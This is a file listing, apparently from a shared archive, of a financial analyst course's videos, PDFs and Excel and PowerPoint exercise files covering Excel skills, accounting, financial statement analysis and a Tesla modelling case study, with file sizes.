    39. Finance 101 - Loan Calculations/3. COURSE CHALLENGE - Part 3.mp4 13.88 MB
    3. Microsoft Excel - Useful Tools/2. Do More with Your Sales Data with Excel's Text to Columns Feature.mp4 13.86 MB
    7. Microsoft Excel - Practical Exercise Build a P&L From Scratch/9.1 9. Index Match_after.xlsm.xlsm 13.85 MB
    4. Microsoft Excel - Best Practices That Will Make a Difference/1. Initial Formatting Is Key for Creating Professional-looking Spreadsheets.mp4 13.84 MB
    17. Accounting - Cost recognition/1. Cost recognition principles.mp4 13.79 MB
    4. Microsoft Excel - Best Practices That Will Make a Difference/21. Find and Replace - Formatting.mp4 13.78 MB
    37. Finance 101 - The Time Value of Money and Interest Rate Components/3. How Interest Rates Play an Important Role in the Economy.mp4 13.75 MB
    27. Advanced Accounting - Financial liabilities/4. Debt covenants - a practical example.mp4 13.67 MB
    16. Accounting - Revenue recognition/1. Accrual accounting.mp4 13.66 MB
    8. Microsoft Excel - Building Professional Charts in Excel/5. Creating a Bridge Chart in Excel 2016 - As Easy as It Gets.mp4 13.65 MB
    10. Pivot Tables & Slicers in Practice - World-Class Financial Reporting Shown Here/9. GetPivotData fix.mp4 13.62 MB
    42. Tesla practical case study - Building a financial planning model/15. Peer comparison D&A as a percentage of revenues.mp4 13.62 MB
    4. Microsoft Excel - Best Practices That Will Make a Difference/17. Using Custom-sort to Sort Multiple Columns Within a Table.mp4 13.56 MB
    4. Microsoft Excel - Best Practices That Will Make a Difference/10. Find and Select Cells That Meet Specific Conditions.mp4 13.45 MB
    44. PowerPoint - Tips & Tricks That Will Transform You Into An Advanced User/6. Creating Eye-Catching Text Effects in PowerPoint.mp4 13.33 MB
    19. Accounting - The Core Principles of Accounting/4. P&L T-Accounts.mp4 13.32 MB
    42. Tesla practical case study - Building a financial planning model/27. Balancing the Balance sheet.mp4 13.29 MB
    10. Pivot Tables & Slicers in Practice - World-Class Financial Reporting Shown Here/1.1 0. Exercise - Build an FMCG Model_before.xlsx.xlsx 13.26 MB
    40. Capital Budgeting - Basic notions/1. What is Capital Budgeting.mp4 13.24 MB
    22. Accounting - The Importance of Timing/1. Timing of Cash Flows and Why It Plays an Important Role in a Business.mp4 13.23 MB
    9. Microsoft Excel - Working with Pivot Tables in Excel/7. Introduction to the Course Challenge.mp4 13.18 MB
    8. Microsoft Excel - Building Professional Charts in Excel/1. Introduction to Excel Charts.mp4 13 MB
    4. Microsoft Excel - Best Practices That Will Make a Difference/3. How to Use the Same Macro On Multiple Workbooks.mp4 12.76 MB
    4. Microsoft Excel - Best Practices That Will Make a Difference/22. Green References.mp4 12.6 MB
    2. Microsoft Excel - Quick Introduction/6. Inserting, Deleting, and Modifying Rows & Columns.mp4 12.36 MB
    44. PowerPoint - Tips & Tricks That Will Transform You Into An Advanced User/1. Modifying the Beginning and Ending of a Line Object.mp4 12.15 MB
    32. Financial Statement Analysis - Subtleties/4. Calculating Days Payable (DPO), Days Receivable (DSO) and Days Inventory (DIO).mp4 11.85 MB
    15. Accounting - Types of revenues, costs, assets, and liabilities/2. The three financial statements.vtt 11.82 MB
    15. Accounting - Types of revenues, costs, assets, and liabilities/2. The three financial statements.mp4 11.81 MB
    44. PowerPoint - Tips & Tricks That Will Transform You Into An Advanced User/4. This is How You Can Fit Text When It Is Larger than a Shape.mp4 11.8 MB
    5. Microsoft Excel - Beginner, Intermediate & Advanced Functions/15. Using Excel's Iferror Function to Trap Spreadsheet Errors.mp4 11.74 MB
    8. Microsoft Excel - Building Professional Charts in Excel/6. New Ways to Visualize Your Data - Treemap Charts.mp4 11.5 MB
    8. Microsoft Excel - Building Professional Charts in Excel/3.1 3. Formatting a Chart.xlsm.xlsm 11.46 MB
    8. Microsoft Excel - Building Professional Charts in Excel/2.1 2. Inserting Charts.xlsm.xlsm 11.45 MB
    8. Microsoft Excel - Building Professional Charts in Excel/4.1 4. Modifying a Chart.xlsm.xlsm 11.41 MB
    28. Advanced Accounting - Leasing Liabilties/1. The reason companies lease assets.mp4 11.12 MB
    26. Advanced Accounting - Trade payables/2. What is the difference between accounts payable and notes payable.mp4 10.89 MB
    7. Microsoft Excel - Practical Exercise Build a P&L From Scratch/2. What You Will See Next.mp4 10.21 MB
    4. Microsoft Excel - Best Practices That Will Make a Difference/15. Custom Number Formatting.mp4 9.89 MB
    7. Microsoft Excel - Practical Exercise Build a P&L From Scratch/1. Introduction to the Case Study.mp4 9.82 MB
    3. Microsoft Excel - Useful Tools/4. Create Easily Printable Excel Documents.mp4 9.19 MB
    3. Microsoft Excel - Useful Tools/8. Find Excel Functionalities in a Quicker Way - Tell Me What You Want to Do.mp4 9.18 MB
    4. Microsoft Excel - Best Practices That Will Make a Difference/14. Using Named Ranges to Make Formulas More Readable.mp4 9.11 MB
    44. PowerPoint - Tips & Tricks That Will Transform You Into An Advanced User/3. Group or Ungroup Shapes, Pictures or Other Objects.mp4 8.98 MB
    43. PowerPoint - Introduction to PowerPoint/10. Changing an Object's Size and Rotation.mp4 8.69 MB
    42. Tesla practical case study - Building a financial planning model/17. Producing a clean P&L output sheet.mp4 8.43 MB
    3. Microsoft Excel - Useful Tools/6. Insert Hyperlinks into Excel Spreadsheets.mp4 8.24 MB
    25. Advanced Accounting - Fixed Assets/2. Capitalizing interest expenses.mp4 7.65 MB
    5. Microsoft Excel - Beginner, Intermediate & Advanced Functions/9. Find the Highest and Lowest Values in a Range Max & Min.mp4 7.55 MB
    17. Accounting - Cost recognition/3. The two types of Income Statement formats.mp4 7.27 MB
    24. Advanced Accounting - Inventory/4. Cost flow methods - a practical exercise.mp4 6.75 MB
    5. Microsoft Excel - Beginner, Intermediate & Advanced Functions/2. Enlarge the formula bar.mp4 6.25 MB
    37. Finance 101 - The Time Value of Money and Interest Rate Components/2. Understanding the Time Value of Money.mp4 6.22 MB
    3. Microsoft Excel - Useful Tools/1. Inserting a Line Break with Alt + Enter.mp4 6.18 MB
    5. Microsoft Excel - Beginner, Intermediate & Advanced Functions/10. = and + are interchangeable when you start typing a formula.mp4 5.79 MB
    5. Microsoft Excel - Beginner, Intermediate & Advanced Functions/11. Use Round in Your Financial Models.mp4 5.22 MB
    31. Financial Statement Analysis - An Introduction/2.1 P&G Financial Report.pdf.pdf 4.41 MB
    33. Financial Statement Analysis - Practical Case Study Analyzing P&G's Financials/1.1 P&G Financial Report.pdf.pdf 4.4 MB
    33. Financial Statement Analysis - Practical Case Study Analyzing P&G's Financials/2.2 P&G Financial Report.pdf.pdf 4.4 MB
    3. Microsoft Excel - Useful Tools/5. How to Wrap Text in Excel and Adjust a Cell's Size.mp4 3.79 MB
    3. Microsoft Excel - Useful Tools/4.2 Useful Tips & Tools.pdf.pdf 3.31 MB
    3. Microsoft Excel - Useful Tools/6.1 Useful Tips & Tools.pdf.pdf 3.31 MB
    4. Microsoft Excel - Best Practices That Will Make a Difference/14.1 Useful Tips & Tools.pdf.pdf 3.31 MB
    4. Microsoft Excel - Best Practices That Will Make a Difference/17.5 Useful Tips & Tools.pdf.pdf 3.31 MB
    4. Microsoft Excel - Best Practices That Will Make a Difference/8.3 Useful Tips & Tools.pdf.pdf 3.31 MB
    3. Microsoft Excel - Useful Tools/1.2 Useful Tips & Tools.pdf.pdf 3.3 MB
    3. Microsoft Excel - Useful Tools/2.1 Useful Tips & Tools.pdf.pdf 3.3 MB
    3. Microsoft Excel - Useful Tools/5.1 Useful Tips & Tools.pdf.pdf 3.3 MB
    3. Microsoft Excel - Useful Tools/7.2 Useful Tips & Tools.pdf.pdf 3.3 MB
    3. Microsoft Excel - Useful Tools/8.1 Useful Tips & Tools.pdf.pdf 3.3 MB
    3. Microsoft Excel - Useful Tools/9.2 Useful Tips & Tools.pdf.pdf 3.3 MB
    4. Microsoft Excel - Best Practices That Will Make a Difference/1.4 Useful Tips & Tools.pdf.pdf 3.3 MB
    4. Microsoft Excel - Best Practices That Will Make a Difference/10.4 Useful Tips & Tools.pdf.pdf 3.3 MB
    4. Microsoft Excel - Best Practices That Will Make a Difference/12.5 Useful Tips & Tools.pdf.pdf 3.3 MB
    4. Microsoft Excel - Best Practices That Will Make a Difference/15.1 Useful Tips & Tools.pdf.pdf 3.3 MB
    4. Microsoft Excel - Best Practices That Will Make a Difference/16.1 Useful Tips & Tools.pdf.pdf 3.3 MB
    4. Microsoft Excel - Best Practices That Will Make a Difference/18.3 Useful Tips & Tools.pdf.pdf 3.3 MB
    4. Microsoft Excel - Best Practices That Will Make a Difference/2.1 Useful Tips & Tools.pdf.pdf 3.3 MB
    4. Microsoft Excel - Best Practices That Will Make a Difference/5.2 Useful Tips & Tools.pdf.pdf 3.3 MB
    5. Microsoft Excel - Beginner, Intermediate & Advanced Functions/17.3 Excel Functions.pdf.pdf 3.19 MB
    5. Microsoft Excel - Beginner, Intermediate & Advanced Functions/11.4 Excel Functions.pdf.pdf 3.18 MB
    5. Microsoft Excel - Beginner, Intermediate & Advanced Functions/12.2 Excel Functions.pdf.pdf 3.18 MB
    5. Microsoft Excel - Beginner, Intermediate & Advanced Functions/13.5 Excel Functions.pdf.pdf 3.18 MB
    5. Microsoft Excel - Beginner, Intermediate & Advanced Functions/15.1 Excel Functions.pdf.pdf 3.18 MB
    5. Microsoft Excel - Beginner, Intermediate & Advanced Functions/18.1 Excel Functions.pdf.pdf 3.18 MB
    5. Microsoft Excel - Beginner, Intermediate & Advanced Functions/3.4 Excel Functions.pdf.pdf 3.18 MB
    5. Microsoft Excel - Beginner, Intermediate & Advanced Functions/4.1 Excel Functions.pdf.pdf 3.18 MB
    5. Microsoft Excel - Beginner, Intermediate & Advanced Functions/5.2 Excel Functions.pdf.pdf 3.18 MB
    5. Microsoft Excel - Beginner, Intermediate & Advanced Functions/9.3 Excel Functions.pdf.pdf 3.18 MB
    43. PowerPoint - Introduction to PowerPoint/4.2 Useful maps and Shapes.pptx.pptx 3.04 MB
    43. PowerPoint - Introduction to PowerPoint/10.1 Introduction to PowerPoint.pdf.pdf 2.59 MB
    43. PowerPoint - Introduction to PowerPoint/3.1 Introduction to PowerPoint.pdf.pdf 2.59 MB
    43. PowerPoint - Introduction to PowerPoint/5.2 Introduction to PowerPoint.pdf.pdf 2.59 MB
    43. PowerPoint - Introduction to PowerPoint/6.1 Introduction to PowerPoint.pdf.pdf 2.59 MB
    43. PowerPoint - Introduction to PowerPoint/8.1 Introduction to PowerPoint.pdf.pdf 2.59 MB
    43. PowerPoint - Introduction to PowerPoint/11.1 Introduction to PowerPoint.pdf.pdf 2.58 MB
    43. PowerPoint - Introduction to PowerPoint/2.1 Introduction to PowerPoint.pdf.pdf 2.58 MB
    43. PowerPoint - Introduction to PowerPoint/4.1 Introduction to PowerPoint.pdf.pdf 2.58 MB
    43. PowerPoint - Introduction to PowerPoint/7.1 Introduction to PowerPoint.pdf.pdf 2.58 MB
    43. PowerPoint - Introduction to PowerPoint/9.1 Introduction to PowerPoint.pdf.pdf 2.58 MB
    34. Financial Statement Analysis - Tesla exercise/2.3 Tesla 2017.pdf.pdf 2.5 MB
    2. Microsoft Excel - Quick Introduction/1.1 Introduction to Excel's basic features.pdf.pdf 2.27 MB
    2. Microsoft Excel - Quick Introduction/10.5 Introduction to Excel's basic features.pdf.pdf 2.27 MB
    2. Microsoft Excel - Quick Introduction/2.2 Introduction to Excel's basic features.pdf.pdf 2.27 MB
    2. Microsoft Excel - Quick Introduction/11.3 Introduction to Excel's basic features.pdf.pdf 2.26 MB
    2. Microsoft Excel - Quick Introduction/13.2 Introduction to Excel's basic features.pdf.pdf 2.26 MB
    2. Microsoft Excel - Quick Introduction/3.4 Introduction to Excel's basic features.pdf.pdf 2.26 MB
    2. Microsoft Excel - Quick Introduction/4.2 Introduction to Excel's basic features.pdf.pdf 2.26 MB
    2. Microsoft Excel - Quick Introduction/6.4 Introduction to Excel's basic features.pdf.pdf 2.26 MB
    2. Microsoft Excel - Quick Introduction/8.2 Introduction to Excel's basic features.pdf.pdf 2.26 MB
    4. Microsoft Excel - Best Practices That Will Make a Difference/18.2 Useful tips and tools - Excel file.xlsx.xlsx 2.24 MB
    34. Financial Statement Analysis - Tesla exercise/2.1 Tesla 2016.pdf.pdf 2.22 MB
    9. Microsoft Excel - Working with Pivot Tables in Excel/4.1 4. Working with Pivot Tables.xlsx.xlsx 1.88 MB
    9. Microsoft Excel - Working with Pivot Tables in Excel/6.1 6. Slicers.xlsx.xlsx 1.88 MB
    9. Microsoft Excel - Working with Pivot Tables in Excel/5.1 5. GetPivotData.xlsx.xlsx 1.88 MB
    42. Tesla practical case study - Building a financial planning model/16.1 11. Working capital forecasting_after.xlsx.xlsx 1.52 MB
    42. Tesla practical case study - Building a financial planning model/8.1 4a. Gross profit automotive - before.xlsx.xlsx 1.51 MB
    42. Tesla practical case study - Building a financial planning model/27.1 20. Complete the BS_after.xlsx.xlsx 1.43 MB
    42. Tesla practical case study - Building a financial planning model/26.1 19. Cash flow_complete_after.xlsx.xlsx 1.43 MB
    42. Tesla practical case study - Building a financial planning model/27.2 20. Complete the BS_before.xlsx.xlsx 1.43 MB
    42. Tesla practical case study - Building a financial planning model/26.2 19. Cash flow_complete_before.xlsx.xlsx 1.43 MB
    42. Tesla practical case study - Building a financial planning model/25.1 18. P&L complete_after.xlsx.xlsx 1.43 MB
    42. Tesla practical case study - Building a financial planning model/24.1 17. Financing_after.xlsx.xlsx 1.43 MB
    42. Tesla practical case study - Building a financial planning model/25.2 18. P&L complete_before.xlsx.xlsx 1.43 MB
    42. Tesla practical case study - Building a financial planning model/24.2 17. Financing_before.xlsx.xlsx 1.43 MB
    9. Microsoft Excel - Working with Pivot Tables in Excel/2.1 2. Creating a Pivot Table.xlsx.xlsx 1.43 MB
    9. Microsoft Excel - Working with Pivot Tables in Excel/3.1 3. Formatting a Pivot Table.xlsx.xlsx 1.43 MB
    42. Tesla practical case study - Building a financial planning model/23.1 16a. Complete UFCF_after.xlsx.xlsx 1.42 MB
    42. Tesla practical case study - Building a financial planning model/23.2 16a. Complete UFCF_before.xlsx.xlsx 1.42 MB
    42. Tesla practical case study - Building a financial planning model/22.2 16. Balance Sheet forecasting liabilities_after.xlsx.xlsx 1.42 MB
    42. Tesla practical case study - Building a financial planning model/21.1 15. Balance Sheet forecasting assets_after.xlsx.xlsx 1.41 MB
    42. Tesla practical case study - Building a financial planning model/22.1 16. Balance Sheet forecasting liabilities_before.xlsx.xlsx 1.41 MB
    42. Tesla practical case study - Building a financial planning model/20.2 14. Cash flow - UFCF_after.xlsx.xlsx 1.41 MB
    42. Tesla practical case study - Building a financial planning model/21.2 15. Balance Sheet forecasting assets_before.xlsx.xlsx 1.41 MB
    42. Tesla practical case study - Building a financial planning model/20.1 14. Cash flow - UFCF_before.xlsx.xlsx 1.41 MB
    42. Tesla practical case study - Building a financial planning model/19.2 13. Calculating working capital_after.xlsx.xlsx 1.4 MB
    42. Tesla practical case study - Building a financial planning model/19.1 13. Calculating working capital_before.xlsx.xlsx 1.4 MB
    42. Tesla practical case study - Building a financial planning model/18.1 12a. P&L fill in_after.xlsx.xlsx 1.39 MB
    42. Tesla practical case study - Building a financial planning model/18.2 12a. P&L fill in_before.xlsx.xlsx 1.39 MB
    42. Tesla practical case study - Building a financial planning model/17.1 12. P&L.xlsx.xlsx 1.39 MB
    42. Tesla practical case study - Building a financial planning model/16.2 11. Working capital forecasting_before.xlsx.xlsx 1.38 MB
    42. Tesla practical case study - Building a financial planning model/15.1 10a. PP&E comparison.xlsx.xlsx 1.37 MB
    42. Tesla practical case study - Building a financial planning model/14.1 10. PP&E schedule_after.xlsx.xlsx 1.37 MB
    42. Tesla practical case study - Building a financial planning model/13.2 9. PP&E forecasting and comparables_after.xlsx.xlsx 1.37 MB
    42. Tesla practical case study - Building a financial planning model/14.2 10. PP&E schedule_before.xlsx.xlsx 1.37 MB
    42. Tesla practical case study - Building a financial planning model/13.1 9. PP&E forecasting and comparables_before.xlsx.xlsx 1.37 MB
    42. Tesla practical case study - Building a financial planning model/12.1 8. Opex - After.xlsx.xlsx 1.36 MB
    42. Tesla practical case study - Building a financial planning model/12.2 8. Opex - Before.xlsx.xlsx 1.36 MB
    42. Tesla practical case study - Building a financial planning model/11.2 7. Energy and Other - Gross profit, cost of sales - After.xlsx.xlsx 1.35 MB
    42. Tesla practical case study - Building a financial planning model/11.1 7. Energy and Other - Gross profit, cost of sales - Before.xlsx.xlsx 1.35 MB
    42. Tesla practical case study - Building a financial planning model/10.1 6. Energy and Other revenue - After.xlsx.xlsx 1.34 MB
    42. Tesla practical case study - Building a financial planning model/10.2 6. Energy and Other revenue - Before.xlsx.xlsx 1.34 MB
    42. Tesla practical case study - Building a financial planning model/9.1 5. Cost of sales and chart.xlsx.xlsx 1.34 MB
    42. Tesla practical case study - Building a financial planning model/8.2 4a. Gross profit automotive - after.xlsx.xlsx 1.32 MB
    42. Tesla practical case study - Building a financial planning model/7.1 4. Gross profit automotive.xlsx.xlsx 1.32 MB
    42. Tesla practical case study - Building a financial planning model/6.1 3. Revenue calculation and scenarios - after.xlsx.xlsx 1.31 MB
    42. Tesla practical case study - Building a financial planning model/5.1 2. Average price_after.xlsx.xlsx 1.31 MB
    42. Tesla practical case study - Building a financial planning model/6.2 3. Revenue calculation and scenarios - before.xlsx.xlsx 1.31 MB
    42. Tesla practical case study - Building a financial planning model/5.2 2. Average price_before.xlsx.xlsx 1.31 MB
    42. Tesla practical case study - Building a financial planning model/4.1 1a. Deliveries development.xlsx.xlsx 1.3 MB
    34. Financial Statement Analysis - Tesla exercise/2.2 Tesla 2015.pdf.pdf 1.29 MB
    42. Tesla practical case study - Building a financial planning model/3.1 1. Deliveries_after.xlsx.xlsx 1.29 MB
    42. Tesla practical case study - Building a financial planning model/3.2 1. Deliveries_before.xlsx.xlsx 1.29 MB
    42. Tesla practical case study - Building a financial planning model/2.1 0aa. Inputs_before.xlsx.xlsx 1.28 MB
    34. Financial Statement Analysis - Tesla exercise/5.1 Tesla - Financial Statement Analysis - Solvency_after.xlsx.xlsx 1.28 MB
    42. Tesla practical case study - Building a financial planning model/2.2 0aa. Inputs_after.xlsx.xlsx 1.28 MB
    34. Financial Statement Analysis - Tesla exercise/5.2 Tesla - Financial Statement Analysis - Solvency_before.xlsx.xlsx 1.28 MB
    34. Financial Statement Analysis - Tesla exercise/4.2 Tesla - Financial Statement Analysis - Liquidity_after.xlsx.xlsx 1.28 MB
    34. Financial Statement Analysis - Tesla exercise/3.1 Tesla - Financial Statement Analysis - Growth and Profitability_after.xlsx.xlsx 1.28 MB
    34. Financial Statement Analysis - Tesla exercise/3.2 Tesla - Financial Statement Analysis - Growth and Profitability_before.xlsx.xlsx 1.28 MB
    34. Financial Statement Analysis - Tesla exercise/4.1 Tesla - Financial Statement Analysis - Liquidity_before.xlsx.xlsx 1.28 MB
    42. Tesla practical case study - Building a financial planning model/1.2 0a. Drivers_after.xlsx.xlsx 1.27 MB
    42. Tesla practical case study - Building a financial planning model/1.1 0a. Drivers_before.xlsx.xlsx 1.27 MB
    4. Microsoft Excel - Best Practices That Will Make a Difference/18.4 Microsoft Excel Shortcuts for PC.pdf.pdf 1.26 MB
    14. Accounting - Introduction to Accounting & Bookkeeping/1.1 Accounting & Financial Statement Analysis - Notes.pdf.pdf 1.2 MB
    14. Accounting - Introduction to Accounting & Bookkeeping/2.1 Accounting & Financial Statement Analysis - Notes.pdf.pdf 1.18 MB
    14. Accounting - Introduction to Accounting & Bookkeeping/4.1 Accounting & Financial Statement Analysis - Notes.pdf.pdf 1.18 MB
    44. PowerPoint - Tips & Tricks That Will Transform You Into An Advanced User/8.2 4. Course Challenge.pptx.pptx 1.13 MB
    5. Microsoft Excel - Beginner, Intermediate & Advanced Functions/11.3 Excel functions.xlsx.xlsx 971.02 KB
    15. Accounting - Types of revenues, costs, assets, and liabilities/1.1 The Complete Financial Analyst Course - Financial items.pdf.pdf 890.01 KB
    37. Finance 101 - The Time Value of Money and Interest Rate Components/7.2 Default risk.pdf.pdf 880.84 KB
    3. Microsoft Excel - Useful Tools/9.3 Pivot Table_solved.xlsm.xlsm 854.88 KB
    38. Finance 101 - The Value of Cash Flows with Different Timing/1.1 1. Calculating Future Cash Flows.pdf.pdf 810.28 KB
    37. Finance 101 - The Time Value of Money and Interest Rate Components/4.2 Interest rate components.pdf.pdf 807.55 KB
    37. Finance 101 - The Time Value of Money and Interest Rate Components/2.2 Time value of money.pdf.pdf 777.26 KB
    32. Financial Statement Analysis - Subtleties/1.1 Financial Statement Analysis - Notes.pdf.pdf 772.86 KB
    4. Microsoft Excel - Best Practices That Will Make a Difference/18.1 Microsoft Excel Shortcuts for MAC.pdf.pdf 769.21 KB
    43. PowerPoint - Introduction to PowerPoint/5.1 PowerPoint Master Class - Shortcuts.pdf.pdf 750.32 KB
    23. Advanced Accounting - Trade receivables/1.1 The Complete Financial Analyst Course - Trade receivables, Inventory, Fixed assets.pdf.pdf 706.56 KB
    11. Modeling in Excel - Building a complete 3-statement model/1.1 Financial Modeling Notes.pdf.pdf 690.08 KB
    37. Finance 101 - The Time Value of Money and Interest Rate Components/1.1 Finance 101 - Introduction to the World of Finance.pdf.pdf 689.77 KB
    37. Finance 101 - The Time Value of Money and Interest Rate Components/2.1 Finance 101 - Introduction to the World of Finance.pdf.pdf 689.77 KB
    37. Finance 101 - The Time Value of Money and Interest Rate Components/3.1 Finance 101 - Introduction to the World of Finance.pdf.pdf 689.77 KB
    37. Finance 101 - The Time Value of Money and Interest Rate Components/4.1 Finance 101 - Introduction to the World of Finance.pdf.pdf 689.77 KB
    37. Finance 101 - The Time Value of Money and Interest Rate Components/5.1 Finance 101 - Introduction to the World of Finance.pdf.pdf 689.77 KB
    37. Finance 101 - The Time Value of Money and Interest Rate Components/6.1 Finance 101 - Introduction to the World of Finance.pdf.pdf 689.77 KB
    37. Finance 101 - The Time Value of Money and Interest Rate Components/7.1 Finance 101 - Introduction to the World of Finance.pdf.pdf 689.77 KB
    37. Finance 101 - The Time Value of Money and Interest Rate Components/8.1 Finance 101 - Introduction to the World of Finance.pdf.pdf 689.77 KB
    3. Microsoft Excel - Useful Tools/9.1 Pivot Table_unsolved.xlsm.xlsm 646.5 KB
    4. Microsoft Excel - Best Practices That Will Make a Difference/8.2 Fixing references - Solved.xlsx.xlsx 645.17 KB
    4. Microsoft Excel - Best Practices That Will Make a Difference/8.1 Fixing references – Unsolved.xlsx.xlsx 643.98 KB
    3. Microsoft Excel - Useful Tools/7.3 Freeze Panes - Solved.xlsx.xlsx 643.94 KB
    3. Microsoft Excel - Useful Tools/7.1 Freeze Panes – Unsolved.xlsx.xlsx 643.87 KB
    34. Financial Statement Analysis - Tesla exercise/2.4 Tesla 2018 Q2.pdf.pdf 635.07 KB
    33. Financial Statement Analysis - Practical Case Study Analyzing P&G's Financials/3.1 2. Course Challenge.xlsx.xlsx 627.6 KB
    1. Welcome! Course Introduction/1.1 Financial Analyst - Course Curriculum.pdf.pdf 581.35 KB
    12. Modeling in Excel - Let's build a flexible model with multiple scenarios/4.2 Course notes - Building a financial model.pdf.pdf 575.23 KB
    39. Finance 101 - Loan Calculations/3.1 3. Course Challenge.xlsx.xlsx 537.67 KB
    9. Microsoft Excel - Working with Pivot Tables in Excel/8.1 1. Course Challenge.xlsx.xlsx 505.49 KB
    16. Accounting - Revenue recognition/1.1 The Complete Financial Analyst Course - Revenue recognition.pdf.pdf 494.32 KB
    32. Financial Statement Analysis - Subtleties/4.1 Working Capital Days.pdf.pdf 340.78 KB
    44. PowerPoint - Tips & Tricks That Will Transform You Into An Advanced User/8.3 4. Course Challenge - Tasks.pdf.pdf 283.02 KB
    38. Finance 101 - The Value of Cash Flows with Different Timing/2.1 2. NPV.pdf.pdf 192.19 KB
    20. Accounting - Practical Exercise The Accounting Transactions of a Lemonade Stand/1.3 Practical Exercise - List of transactions.pdf.pdf 182.53 KB
    20. Accounting - Practical Exercise The Accounting Transactions of a Lemonade Stand/2.1 Practical Exercise - List of transactions.pdf.pdf 182.53 KB
    20. Accounting - Practical Exercise The Accounting Transactions of a Lemonade Stand/3.1 Practical Exercise - List of transactions.pdf.pdf 182.53 KB
    20. Accounting - Practical Exercise The Accounting Transactions of a Lemonade Stand/4.1 Practical Exercise - List of transactions.pdf.pdf 182.53 KB
    24. Advanced Accounting - Inventory/4.4 Inventory Cost Flow Methods – with solutions.pptx.pptx 174.96 KB
    24. Advanced Accounting - Inventory/4.1 Inventory Cost Flow Methods.pptx.pptx 168.54 KB
    7. Microsoft Excel - Practical Exercise Build a P&L From Scratch/16.1 Y-o-Y Function explanation.pdf.pdf 164.95 KB
    28. Advanced Accounting - Leasing Liabilties/2.1 Leasing exercises.pdf.pdf 156.14 KB
    4. Microsoft Excel - Best Practices That Will Make a Difference/17.4 Sort data - Solved.xlsx.xlsx 145.65 KB
    4. Microsoft Excel - Best Practices That Will Make a Difference/17.3 Sort data – Unsolved.xlsx.xlsx 145.35 KB
    4. Microsoft Excel - Best Practices That Will Make a Difference/2.2 03 28 Macros Solved.xlsx.xlsx 145.02 KB
    3. Microsoft Excel - Useful Tools/6.3 03 31 Hyperlinks Solved.xlsx.xlsx 137.06 KB
    3. Microsoft Excel - Useful Tools/6.2 03 31 Hyperlinks Exercise & Text.xlsx.xlsx 136.89 KB
    2. Microsoft Excel - Quick Introduction/10.2 02 12 Functions Solved.xlsx.xlsx 81.1 KB
    2. Microsoft Excel - Quick Introduction/8.1 02 11 Formulas Solved.xlsx.xlsx 80.13 KB
    4. Microsoft Excel - Best Practices That Will Make a Difference/16.4 03 29 Drop-down List Solved.xlsx.xlsx 77.02 KB
    13. Modeling in Excel - We are almost there! Completing the 3-statement model/5.1 1.18_after.xlsx.xlsx 72.59 KB
    13. Modeling in Excel - We are almost there! Completing the 3-statement model/4.1 1.17_after.xlsx.xlsx 70.35 KB
    13. Modeling in Excel - We are almost there! Completing the 3-statement model/3.2 1.16_after.xlsx.xlsx 69.54 KB
    13. Modeling in Excel - We are almost there! Completing the 3-statement model/5.2 1.18_before.xlsx.xlsx 67.69 KB
    13. Modeling in Excel - We are almost there! Completing the 3-statement model/2.2 1.15_after.xlsx.xlsx 67.56 KB
    13. Modeling in Excel - We are almost there! Completing the 3-statement model/4.2 1.17_before.xlsx.xlsx 65.6 KB
    13. Modeling in Excel - We are almost there! Completing the 3-statement model/1.1 1.14_after.xlsx.xlsx 62.08 KB
    13. Modeling in Excel - We are almost there! Completing the 3-statement model/2.1 1.15_before.xlsx.xlsx 58.9 KB
    13. Modeling in Excel - We are almost there! Completing the 3-statement model/3.1 1.16_before.xlsx.xlsx 58.9 KB
    12. Modeling in Excel - Let's build a flexible model with multiple scenarios/5.1 1.13_after.xlsx.xlsx 57.67 KB
    11. Modeling in Excel - Building a complete 3-statement model/7.1 1.7_after.xlsx.xlsx 57.11 KB
    12. Modeling in Excel - Let's build a flexible model with multiple scenarios/4.3 1.12_after.xlsx.xlsx 56.6 KB
    7. Microsoft Excel - Practical Exercise Build a P&L From Scratch/16.3 15. Adding % variations_after.xlsm.xlsm 56.51 KB
    13. Modeling in Excel - We are almost there! Completing the 3-statement model/1.2 1.14_before.xlsx.xlsx 55.75 KB
    21. Accounting - Preparing a Cash Flow Statement Understanding Cash Flow Analysis/5.1 Cash-Flow.xlsx.xlsx 55.38 KB
    12. Modeling in Excel - Let's build a flexible model with multiple scenarios/3.2 1.11_after.xlsx.xlsx 55.12 KB
    11. Modeling in Excel - Building a complete 3-statement model/8.2 1.8_after.xlsx.xlsx 54.95 KB
    12. Modeling in Excel - Let's build a flexible model with multiple scenarios/1.2 1.9_after.xlsx.xlsx 54.94 KB
    7. Microsoft Excel - Practical Exercise Build a P&L From Scratch/15.1 14. Countif_after.xlsm.xlsm 54.78 KB
    7. Microsoft Excel - Practical Exercise Build a P&L From Scratch/16.2 15. Adding % variations_before.xlsm.xlsm 54.78 KB
    12. Modeling in Excel - Let's build a flexible model with multiple scenarios/2.2 1.10_after.xlsx.xlsx 54.67 KB
    12. Modeling in Excel - Let's build a flexible model with multiple scenarios/5.2 1.13_before.xlsx.xlsx 54.64 KB
    11. Modeling in Excel - Building a complete 3-statement model/6.1 1.6_after.xlsx.xlsx 54.43 KB
    12. Modeling in Excel - Let's build a flexible model with multiple scenarios/4.1 1.12_before.xlsx.xlsx 53.56 KB
    7. Microsoft Excel - Practical Exercise Build a P&L From Scratch/14.2 13. Formatting the P&L_after.xlsm.xlsm 53.51 KB
    7. Microsoft Excel - Practical Exercise Build a P&L From Scratch/15.2 14. Countif_before.xlsm.xlsm 53.51 KB
    12. Modeling in Excel - Let's build a flexible model with multiple scenarios/2.1 1.10_before.xlsx.xlsx 53.08 KB
    12. Modeling in Excel - Let's build a flexible model with multiple scenarios/3.1 1.11_before.xlsx.xlsx 53.08 KB
    12. Modeling in Excel - Let's build a flexible model with multiple scenarios/1.1 1.9_before.xlsx.xlsx 52.8 KB
    7. Microsoft Excel - Practical Exercise Build a P&L From Scratch/14.1 13. Formatting the P&L_before.xlsm.xlsm 52 KB
    7. Microsoft Excel - Practical Exercise Build a P&L From Scratch/13.2 12. Formatting the P&L_after.xlsm.xlsm 51.96 KB
    7. Microsoft Excel - Practical Exercise Build a P&L From Scratch/13.1 12. Formatting a P&L_before.xlsm.xlsm 51.84 KB
    7. Microsoft Excel - Practical Exercise Build a P&L From Scratch/12.2 11. Building a P&L_after.xlsm.xlsm 51.83 KB
    7. Microsoft Excel - Practical Exercise Build a P&L From Scratch/10.1 10a. Mapping_before.xlsm.xlsm 51.02 KB
    7. Microsoft Excel - Practical Exercise Build a P&L From Scratch/10.2 10a. Mapping.xlsm.xlsm 51.02 KB
    4. Microsoft Excel - Best Practices That Will Make a Difference/24.1 8. F2.xlsm.xlsm 50.76 KB
